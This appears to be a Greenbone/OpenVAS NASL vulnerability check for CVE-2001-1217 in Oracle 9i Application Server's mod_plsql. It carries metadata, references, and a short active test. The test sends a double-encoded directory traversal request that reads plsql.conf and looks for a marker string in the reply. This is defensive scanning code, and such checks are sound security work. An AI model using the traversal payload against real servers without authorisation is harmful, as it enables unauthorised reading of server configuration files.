Oracle 9i Application Server mod_plsql Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2002 Matt Moore
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:oracle:http_server";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10854");
  script_version("2026-02-04T05:55:03+0000");
  script_tag(name:"last_modification", value:"2026-02-04 05:55:03 +0000 (Wed, 04 Feb 2026)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2001-1217");
  script_name("Oracle 9i Application Server mod_plsql Directory Traversal Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2002 Matt Moore");
  script_family("Web application abuses");
  script_dependencies("gb_oracle_application_server_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("oracle/http_server/detected");

  script_xref(name:"URL", value:"https://web.archive.org/web/20040720014820/http://otn.oracle.com/deploy/security/pdf/modplsql.pdf");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210121154440/http://www.securityfocus.com/bid/3727");
  script_xref(name:"URL", value:"https://web.archive.org/web/20080820020723/http://www.nextgenss.com/advisories/plsql.txt");

  script_tag(name:"summary", value:"In a default installation of Oracle 9i Application Server (AS),
  it is possible to use the mod_plsql module to perform a directory traversal attack.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"solution", value:"Download the patch from the Oracle metalink site.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!get_app_location(cpe:CPE, port:port, nofork:TRUE))
  exit(0);

url = "/pls/sample/admin_/help/..%255cplsql.conf";
req = http_get(item:url, port:port);
res = http_send_recv(port:port, data:req);
if(!res)
  exit(0);

if("Directives added for mod-plsql" >< res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);